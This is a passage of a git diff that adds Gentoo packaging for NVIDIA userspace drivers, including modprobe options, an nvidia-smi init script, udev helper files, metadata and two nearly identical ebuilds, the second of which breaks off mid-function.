+# If you have a mobile chip, you may need to enable this option
+# if you have hard lockups when starting X.
+#
+# See: Appendix I. Configuring your laptop
+# In /usr/share/doc/PACKAGE/README for full details
+#
+# Choose the appropriate value for NVreg_Mobile from the table:
+#        Value		Meaning
+#        ----------	--------------------------------------------------
+#        0xFFFFFFFF	let the kernel module autodetect the correct value
+#        1		Dell laptops
+#        2		non-Compal Toshiba laptops
+#        3		all other laptops
+#        4		Compal Toshiba laptops
+#        5		Gateway laptops
+#
+#options nvidia NVreg_SoftEDIDs=0 NVreg_Mobile=3
+
+
+# !!! SECURITY WARNING !!!
+# DO NOT MODIFY OR REMOVE THE DEVICE FILE RELATED OPTIONS UNLESS YOU KNOW
+# WHAT YOU ARE DOING.
+# ONLY ADD TRUSTED USERS TO THE VIDEO GROUP, THESE USERS MAY BE ABLE TO CRASH,
+# COMPROMISE, OR IRREPARABLY DAMAGE THE MACHINE.
+options nvidia NVreg_DeviceFileMode=432 NVreg_DeviceFileUID=0 NVreg_DeviceFileGID=VIDEOGID NVreg_ModifyDeviceFiles=1
diff --git a/x11-drivers/nvidia-userspace/files/nvidia-169.07 b/x11-drivers/nvidia-userspace/files/nvidia-169.07
new file mode 100644
index 00000000..a96b0cd1
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/files/nvidia-169.07
@@ -0,0 +1,14 @@
+# Nvidia drivers support
+alias char-major-195 nvidia
+alias /dev/nvidiactl char-major-195
+
+# To tweak the driver the following options can be used, note that
+# you should be careful, as it could cause instability!! For more 
+# options see /usr/share/doc/PACKAGE/README 
+#
+# !!! SECURITY WARNING !!!
+# DO NOT MODIFY OR REMOVE THE DEVICE FILE RELATED OPTIONS UNLESS YOU KNOW
+# WHAT YOU ARE DOING.
+# ONLY ADD TRUSTED USERS TO THE VIDEO GROUP, THESE USERS MAY BE ABLE TO CRASH,
+# COMPROMISE, OR IRREPARABLY DAMAGE THE MACHINE.
+options nvidia NVreg_DeviceFileMode=432 NVreg_DeviceFileUID=0 NVreg_DeviceFileGID=VIDEOGID NVreg_ModifyDeviceFiles=1
diff --git a/x11-drivers/nvidia-userspace/files/nvidia-smi.init b/x11-drivers/nvidia-userspace/files/nvidia-smi.init
new file mode 100644
index 00000000..2cfd4c43
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/files/nvidia-smi.init
@@ -0,0 +1,25 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-drivers/nvidia-drivers/files/nvidia-smi.init,v 1.1 2012/07/22 21:08:43 cardoe Exp $
+
+pidfile="/var/run/nvidia-smi.pid"
+
+depend() {
+    after modules
+}
+
+start() {
+	ebegin "Starting NVIDIA System Management Interface"
+	rm -f ${pidfile}
+	start-stop-daemon --start --quiet --pidfile ${pidfile} \
+		--make-pidfile --background --exec /opt/bin/nvidia-smi -- \
+		-q -l 300
+	eend $?
+}
+
+stop() {
+	ebegin "Stopping NVIDIA System Management Interface"
+	start-stop-daemon --stop --quiet --pidfile ${pidfile}
+	eend $?
+}
diff --git a/x11-drivers/nvidia-userspace/files/nvidia-udev.sh b/x11-drivers/nvidia-userspace/files/nvidia-udev.sh
new file mode 100644
index 00000000..9487b08e
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/files/nvidia-udev.sh
@@ -0,0 +1,17 @@
+#!/bin/sh
+
+if [ $# -ne 1 ]; then
+	echo "Invalid args" >&2
+	exit 1
+fi
+
+case $1 in
+	add|ADD)
+		/opt/bin/nvidia-smi > /dev/null
+		;;
+	remove|REMOVE)
+		rm -f /dev/nvidia*
+		;;
+esac
+
+exit 0
diff --git a/x11-drivers/nvidia-userspace/files/nvidia.udev-rule b/x11-drivers/nvidia-userspace/files/nvidia.udev-rule
new file mode 100644
index 00000000..2eb30bb0
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/files/nvidia.udev-rule
@@ -0,0 +1,6 @@
+ACTION=="add", DEVPATH=="/module/nvidia", SUBSYSTEM=="module", RUN+="nvidia-udev.sh $env{ACTION}"
+# Previously the ACTION was "add|remove" but one user on bug #376527 had a
+# problem until he recompiled udev-171-r5, which is one of the versions I
+# tested with and it was fine. I'm breaking the rules out just to be safe
+# so someone else doesn't have an issue
+ACTION=="remove", DEVPATH=="/module/nvidia", SUBSYSTEM=="module", RUN+="nvidia-udev.sh $env{ACTION}"
diff --git a/x11-drivers/nvidia-userspace/metadata.xml b/x11-drivers/nvidia-userspace/metadata.xml
new file mode 100644
index 00000000..b4cf3e70
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>no-herd</herd>
+<maintainer>
+  <email>lxnay@gentoo.org</email>
+  <description>General maintainer</description>
+</maintainer>
+<longdescription>NVIDIA X11 driver and GLX libraries</longdescription>
+</pkgmetadata>
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-173.14.31.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-173.14.31.ebuild
new file mode 100644
index 00000000..dc517c8c
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-173.14.31.ebuild
@@ -0,0 +1,395 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker multilib portability versionator flag-o-matic
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}-pkg0.run )
+	 amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}-pkg2.run )
+	 x86-fbsd? ( ftp://download.nvidia.com/freebsd/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="multilib kernel_linux"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="x11-base/xorg-server
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-opengl )
+	>=app-admin/eselect-opengl-1.0.9"
+DEPEND="${COMMON}
+	kernel_linux? ( virtual/linux-sources )"
+RDEPEND="${COMMON}
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}"
+PDEPEND=""
+
+QA_TEXTRELS_x86="usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libXvMCNVIDIA.so.${PV}"
+
+QA_TEXTRELS_x86_fbsd="boot/modules/nvidia.ko
+	usr/lib/opengl/nvidia/lib/libGL.so.1
+	usr/lib/opengl/nvidia/lib/libGLcore.so.1
+	usr/lib/libnvidia-cfg.so.1
+	usr/lib/opengl/nvidia/extensions/libglx.so.1
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_amd64="usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}"
+
+QA_EXECSTACK_x86="usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.a:NVXVMC.o"
+
+QA_EXECSTACK_amd64="usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvcompiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig"
+
+QA_WX_LOAD_x86="usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/libXvMCNVIDIA.a"
+
+QA_WX_LOAD_amd64="usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}"
+
+QA_SONAME_amd64="usr/lib64/libnvcompiler.so.${PV}"
+
+QA_DT_HASH_amd64="usr/lib32/libcuda.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig"
+
+QA_DT_HASH_x86="usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig"
+
+if use x86; then
+	PKG_V="-pkg0"
+	NV_PACKAGE="${X86_NV_PACKAGE}"
+elif use amd64; then
+	PKG_V="-pkg2"
+	NV_PACKAGE="${AMD64_NV_PACKAGE}"
+elif use x86-fbsd; then
+	PKG_V=""
+	NV_PACKAGE="${X86_FBSD_NV_PACKAGE}"
+fi
+
+S="${WORKDIR}/${NV_PACKAGE}${PKG_V}"
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use amd64 && has_multilib_profile && [ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default abi."
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_DOC="${S}/doc"
+		NV_EXEC="${S}/obj"
+		NV_LIB="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}/usr/share/doc"
+		NV_EXEC="${S}/usr/bin"
+		NV_LIB="${S}/usr/lib"
+		NV_SRC="${S}/usr/src/nv"
+		NV_MAN="${S}/usr/share/man/man1"
+		NV_X11="${S}/usr/X11R6/lib"
+		NV_X11_DRV="${NV_X11}/modules/drivers"
+		NV_X11_EXT="${NV_X11}/modules/extensions"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use x86-fbsd; then
+		mkdir "${S}"
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	# Use the correct defines to make gtkglext build work
+	epatch "${FILESDIR}"/NVIDIA_glx-defines.patch
+	# Use some more sensible gl headers and make way for new glext.h
+	epatch "${FILESDIR}"/NVIDIA_glx-glheader.patch
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	dolib.so ${NV_LIB}/libnvidia-cfg.so.${NV_SOVER} || \
+		die "failed to install libnvidia-cfg"
+
+	# Xorg DDX driver
+	insinto /usr/$(get_libdir)/xorg/modules/drivers
+	doins ${NV_X11_DRV}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+	# Xorg GLX driver
+	insinto /usr/$(get_libdir)/opengl/nvidia/extensions
+	doins ${NV_X11_EXT}/libglx.so.${NV_SOVER} || \
+		die "failed to install libglx.so"
+	dosym /usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so.${NV_SOVER} \
+		/usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so || \
+		die "failed to create libglx.so symlink"
+
+	# XvMC driver
+	dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+		die "failed to install libXvMCNVIDIA.so"
+	dolib.so ${NV_X11}/libXvMCNVIDIA.so.${NV_SOVER} || \
+		die "failed to install libXvMCNVIDIA.so"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} /usr/$(get_libdir)/libXvMCNVIDIA.so || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+
+	# CUDA headers (driver to come)
+	if use kernel_linux && [[ -d ${S}/usr/include/cuda ]]; then
+		dodir /usr/include/cuda
+		insinto /usr/include/cuda
+		doins usr/include/cuda/*.h || die "failed to install cuda headers"
+	fi
+
+	# OpenCL headers (driver to come)
+	if [[ -d ${S}/usr/include/CL ]]; then
+		dodir /usr/include/CL
+		insinto /usr/include/CL
+		doins usr/include/CL/*.h || die "failed to install OpenCL headers"
+	fi
+
+	# Documentation
+	dodoc ${NV_DOC}/XF86Config.sample
+	dohtml ${NV_DOC}/html/*
+	if use x86-fbsd; then
+		dodoc "${NV_DOC}/README"
+		doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+#		doman "${NV_MAN}/nvidia-smi.1.gz"
+		doman "${NV_MAN}/nvidia-xconfig.1.gz"
+	fi
+
+	# Helper Apps
+	dobin ${NV_EXEC}/nvidia-xconfig || die
+	dobin ${NV_EXEC}/nvidia-bug-report.sh || die
+	if use kernel_linux; then
+		dobin ${NV_EXEC}/nvidia-smi || die
+	fi
+
+	if has_multilib_profile ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+}
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	doexe $2.$3 || die "failed to install $2"
+	dosym ${libname}.$3 $1/${libname} || die "failed to symlink $2"
+	[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local libdir= sover=
+
+	if use kernel_linux; then
+		if has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+			libdir=usr/lib32
+		else
+			libdir=usr/lib
+		fi
+		sover=${PV}
+	else
+		libdir=obj
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${libdir}/libGL.so ${sover}
+	donvidia ${NV_ROOT}/lib ${libdir}/libGLcore.so ${sover}
+	if use x86-fbsd; then
+		donvidia ${NV_ROOT}/lib ${libdir}/libnvidia-tls.so ${sover}
+	else
+		donvidia ${NV_ROOT}/lib ${libdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	#cuda
+	if [[ -f ${libdir}/libcuda.so.${sover} ]]; then
+		dolib.so ${libdir}/libcuda.so.${sover}
+		[[ "${sover}" != "1" ]] && dosym libcuda.so.${sover} /usr/${inslibdir}/libcuda.so.1
+		dosym libcuda.so.1 /usr/${inslibdir}/libcuda.so
+	fi
+
+	#vdpau
+	if [[ -f ${libdir}/libvdpau_nvidia.so.${sover} ]]; then
+		dolib.so ${libdir}/libvdpau_nvidia.so.${sover}
+		dosym libvdpau_nvidia.so.${sover} /usr/${inslibdir}/libvdpau_nvidia.so
+	fi
+
+	# OpenCL
+	# NOTE: This isn't currently available in the publicly released drivers.
+	if [[ -f ${libdir}/libOpenCL.so.1.0.0 ]]; then
+
+		dolib.so ${libdir}/libnvcompiler.so.${sover}
+		[[ "${sover}" != "1" ]] && dosym libnvcompiler.so.${sover} /usr/${inslibdir}/libnvcompiler.so.1
+		dosym libnvcompiler.so.1 /usr/${inslibdir}/libnvcompiler.so
+
+		dolib.so ${libdir}/libOpenCL.so.1.0.0
+		dosym libOpenCL.so.1.0.0 /usr/${inslibdir}/libOpenCL.so.1
+		dosym libOpenCL.so.1 /usr/${inslibdir}/libOpenCL.so
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	eselect opengl set --use-old nvidia
+
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /usr/bin/nvidia-bug-report.sh included."
+	elog
+	elog "To work with compiz, you must enable the AddARGBGLXVisuals option."
+	elog
+	elog "If you are having resolution problems, try disabling DynamicTwinView."
+}
+
+pkg_postrm() {
+	eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-173.14.34.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-173.14.34.ebuild
new file mode 100644
index 00000000..dc517c8c
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-173.14.34.ebuild
@@ -0,0 +1,395 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker multilib portability versionator flag-o-matic
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}-pkg0.run )
+	 amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}-pkg2.run )
+	 x86-fbsd? ( ftp://download.nvidia.com/freebsd/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="multilib kernel_linux"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="x11-base/xorg-server
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-opengl )
+	>=app-admin/eselect-opengl-1.0.9"
+DEPEND="${COMMON}
+	kernel_linux? ( virtual/linux-sources )"
+RDEPEND="${COMMON}
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}"
+PDEPEND=""
+
+QA_TEXTRELS_x86="usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libXvMCNVIDIA.so.${PV}"
+
+QA_TEXTRELS_x86_fbsd="boot/modules/nvidia.ko
+	usr/lib/opengl/nvidia/lib/libGL.so.1
+	usr/lib/opengl/nvidia/lib/libGLcore.so.1
+	usr/lib/libnvidia-cfg.so.1
+	usr/lib/opengl/nvidia/extensions/libglx.so.1
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_amd64="usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}"
+
+QA_EXECSTACK_x86="usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.a:NVXVMC.o"
+
+QA_EXECSTACK_amd64="usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvcompiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig"
+
+QA_WX_LOAD_x86="usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/libXvMCNVIDIA.a"
+
+QA_WX_LOAD_amd64="usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}"
+
+QA_SONAME_amd64="usr/lib64/libnvcompiler.so.${PV}"
+
+QA_DT_HASH_amd64="usr/lib32/libcuda.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig"
+
+QA_DT_HASH_x86="usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig"
+
+if use x86; then
+	PKG_V="-pkg0"
+	NV_PACKAGE="${X86_NV_PACKAGE}"
+elif use amd64; then
+	PKG_V="-pkg2"
+	NV_PACKAGE="${AMD64_NV_PACKAGE}"
+elif use x86-fbsd; then
+	PKG_V=""
+	NV_PACKAGE="${X86_FBSD_NV_PACKAGE}"
+fi
+
+S="${WORKDIR}/${NV_PACKAGE}${PKG_V}"
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use amd64 && has_multilib_profile && [ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default abi."
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_DOC="${S}/doc"
+		NV_EXEC="${S}/obj"
+		NV_LIB="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}/usr/share/doc"
+		NV_EXEC="${S}/usr/bin"
+		NV_LIB="${S}/usr/lib"
+		NV_SRC="${S}/usr/src/nv"
+		NV_MAN="${S}/usr/share/man/man1"
+		NV_X11="${S}/usr/X11R6/lib"
+		NV_X11_DRV="${NV_X11}/modules/drivers"
+		NV_X11_EXT="${NV_X11}/modules/extensions"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use x86-fbsd; then
+		mkdir "${S}"
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	# Use the correct defines to make gtkglext build work
+	epatch "${FILESDIR}"/NVIDIA_glx-defines.patch
+	# Use some more sensible gl headers and make way for new glext.h
+	epatch "${FILESDIR}"/NVIDIA_glx-glheader.patch
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
